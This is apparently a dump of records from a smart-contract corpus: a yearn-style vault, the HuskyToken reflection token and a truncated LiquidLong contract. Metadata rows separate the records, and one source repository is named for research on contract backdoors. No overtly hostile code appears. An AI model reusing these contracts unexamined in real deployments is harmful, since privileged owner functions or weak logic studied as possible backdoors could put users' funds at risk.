function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Controller {
function withdraw(address, uint) external;
function balanceOf(address) external view returns (uint);
function earn(address, uint) external;
}
contract yVault is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
uint public min = 9500;
uint public constant max = 10000;
address public governance;
address public controller;
constructor (address _token, address _controller) public ERC20Detailed(string(abi.encodePacked("yearn ", ERC20Detailed(_token).name())),
string(abi.encodePacked("y", ERC20Detailed(_token).symbol())),
ERC20Detailed(_token).decimals()) {
token = IERC20(_token);
governance = msg.sender;
controller = _controller;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this))
.add(Controller(controller).balanceOf(address(token)));
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) public {
require(msg.sender == governance, "!governance");
controller = _controller;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public view returns (uint) {
return token.balanceOf(address(this)).mul(min).div(max);
}
function earn() public {
uint _bal = available();
token.safeTransfer(controller, _bal);
Controller(controller).earn(address(token), _bal);
}
function deposit(uint _amount) external {
uint _pool = balance();
token.safeTransferFrom(msg.sender, address(this), _amount);
uint shares = 0;
if (_pool == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
// No rebalance implementation for lower fees and faster swaps
function withdraw(uint _shares) external {
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this));
if (b < r) {
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
token.safeTransfer(msg.sender, r);
}
function getPricePerFullShare() public view returns (uint) {
return balance().mul(1e18).div(totalSupply());
}
}
| 230,044 | 13,660 |
61ac98384dce50c74c357f3ad9993b3c9760373ff0961885ddee18ce8330739f
| 25,239 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/6762_11909_0xd5281bb2d1ee94866b03a0fccdd4e900c8cb5091.sol
| 4,448 | 16,408 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HuskyToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'HuskyToken';
string private _symbol = 'HUSKY';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(3);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
}
| 231,741 | 13,661 |
fcb7c40b3d1027fc92a6a3440503d44dc5f0585eaf12436ee46880a4d002e132
| 16,441 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xed26be9a29b412712166da673b05dd24dd01dd2c.sol
| 4,130 | 11,945 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
pragma experimental "v0.5.0";
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeMathFixedPoint {
using SafeMath for uint256;
function mul27(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(y).add(5 * 10**26).div(10**27);
}
function mul18(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(y).add(5 * 10**17).div(10**18);
}
function div18(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(10**18).add(y.div(2)).div(y);
}
function div27(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(10**27).add(y.div(2)).div(y);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
// require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract Dai is ERC20 {
}
contract Weth is ERC20 {
function deposit() public payable;
function withdraw(uint wad) public;
}
contract Mkr is ERC20 {
}
contract Peth is ERC20 {
}
contract Oasis {
function getBuyAmount(ERC20 tokenToBuy, ERC20 tokenToPay, uint256 amountToPay) external view returns(uint256 amountBought);
function getPayAmount(ERC20 tokenToPay, ERC20 tokenToBuy, uint amountToBuy) public constant returns (uint amountPaid);
function getBestOffer(ERC20 sell_gem, ERC20 buy_gem) public constant returns(uint offerId);
function getWorseOffer(uint id) public constant returns(uint offerId);
function getOffer(uint id) public constant returns (uint pay_amt, ERC20 pay_gem, uint buy_amt, ERC20 buy_gem);
function sellAllAmount(ERC20 pay_gem, uint pay_amt, ERC20 buy_gem, uint min_fill_amount) public returns (uint fill_amt);
}
contract Medianizer {
function read() external view returns(bytes32);
}
contract Maker {
function sai() external view returns(Dai);
function gem() external view returns(Weth);
function gov() external view returns(Mkr);
function skr() external view returns(Peth);
function pip() external view returns(Medianizer);
// Join-Exit Spread
uint256 public gap;
struct Cup {
// CDP owner
address lad;
// Locked collateral (in SKR)
uint256 ink;
// Outstanding normalised debt (tax only)
uint256 art;
// Outstanding normalised debt
uint256 ire;
}
uint256 public cupi;
mapping (bytes32 => Cup) public cups;
function lad(bytes32 cup) public view returns (address);
function per() public view returns (uint ray);
function tab(bytes32 cup) public returns (uint);
function ink(bytes32 cup) public returns (uint);
function rap(bytes32 cup) public returns (uint);
function chi() public returns (uint);
function open() public returns (bytes32 cup);
function give(bytes32 cup, address guy) public;
function lock(bytes32 cup, uint wad) public;
function draw(bytes32 cup, uint wad) public;
function join(uint wad) public;
function wipe(bytes32 cup, uint wad) public;
}
contract DSProxy {
// Technically from DSAuth
address public owner;
function execute(address _target, bytes _data) public payable returns (bytes32 response);
}
contract ProxyRegistry {
mapping(address => DSProxy) public proxies;
function build(address owner) public returns (DSProxy proxy);
}
contract LiquidLong is Ownable, Claimable, Pausable, PullPayment {
using SafeMath for uint256;
using SafeMathFixedPoint for uint256;
uint256 public providerFeePerEth;
Oasis public oasis;
Maker public maker;
Dai public dai;
Weth public weth;
Peth public peth;
Mkr public mkr;
ProxyRegistry public proxyRegistry;
event NewCup(address user, bytes32 cup);
constructor(Oasis _oasis, Maker _maker, ProxyRegistry _proxyRegistry) public payable {
providerFeePerEth = 0.01 ether;
oasis = _oasis;
maker = _maker;
dai = maker.sai();
weth = maker.gem();
peth = maker.skr();
mkr = maker.gov();
// Oasis buy/sell
dai.approve(address(_oasis), uint256(-1));
// Wipe
dai.approve(address(_maker), uint256(-1));
mkr.approve(address(_maker), uint256(-1));
// Join
weth.approve(address(_maker), uint256(-1));
// Lock
peth.approve(address(_maker), uint256(-1));
proxyRegistry = _proxyRegistry;
if (msg.value > 0) {
weth.deposit.value(msg.value)();
}
}
// Receive ETH from WETH withdraw
function () external payable {
}
function wethDeposit() public payable {
weth.deposit.value(msg.value)();
}
function wethWithdraw(uint256 _amount) public onlyOwner {
weth.withdraw(_amount);
owner.transfer(_amount);
}
function ethWithdraw() public onlyOwner {
// Ensure enough ether is left for PullPayments
uint256 _amount = address(this).balance.sub(totalPayments);
owner.transfer(_amount);
}
// Affiliates and provider are only ever due raw ether, all tokens are due to owner
function transferTokens(ERC20 _token) public onlyOwner {
_token.transfer(owner, _token.balanceOf(this));
}
function ethPriceInUsd() public view returns (uint256 _attousd) {
return uint256(maker.pip().read());
}
function estimateDaiSaleProceeds(uint256 _attodaiToSell) public view returns (uint256 _daiPaid, uint256 _wethBought) {
return getPayPriceAndAmount(dai, weth, _attodaiToSell);
}
function getPayPriceAndAmount(ERC20 _payGem, ERC20 _buyGem, uint256 _payDesiredAmount) public view returns (uint256 _paidAmount, uint256 _boughtAmount) {
uint256 _offerId = oasis.getBestOffer(_buyGem, _payGem);
while (_offerId != 0) {
uint256 _payRemaining = _payDesiredAmount.sub(_paidAmount);
(uint256 _buyAvailableInOffer, , uint256 _payAvailableInOffer,) = oasis.getOffer(_offerId);
if (_payRemaining <= _payAvailableInOffer) {
uint256 _buyRemaining = _payRemaining.mul(_buyAvailableInOffer).div(_payAvailableInOffer);
_paidAmount = _paidAmount.add(_payRemaining);
_boughtAmount = _boughtAmount.add(_buyRemaining);
break;
}
_paidAmount = _paidAmount.add(_payAvailableInOffer);
_boughtAmount = _boughtAmount.add(_buyAvailableInOffer);
_offerId = oasis.getWorseOffer(_offerId);
}
return (_paidAmount, _boughtAmount);
}
modifier wethBalanceUnchanged() {
uint256 _startingAttowethBalance = weth.balanceOf(this);
_;
require(weth.balanceOf(this) >= _startingAttowethBalance);
}
// TODO: change affiliate fee to be 50% of service fee, no parameter needed
function openCdp(uint256 _leverage, uint256 _leverageSizeInAttoeth, uint256 _allowedFeeInAttoeth, address _affiliateAddress) public payable wethBalanceUnchanged returns (bytes32 _cdpId) {
require(_leverage >= 100 && _leverage <= 300);
uint256 _lockedInCdpInAttoeth = _leverageSizeInAttoeth.mul(_leverage).div(100);
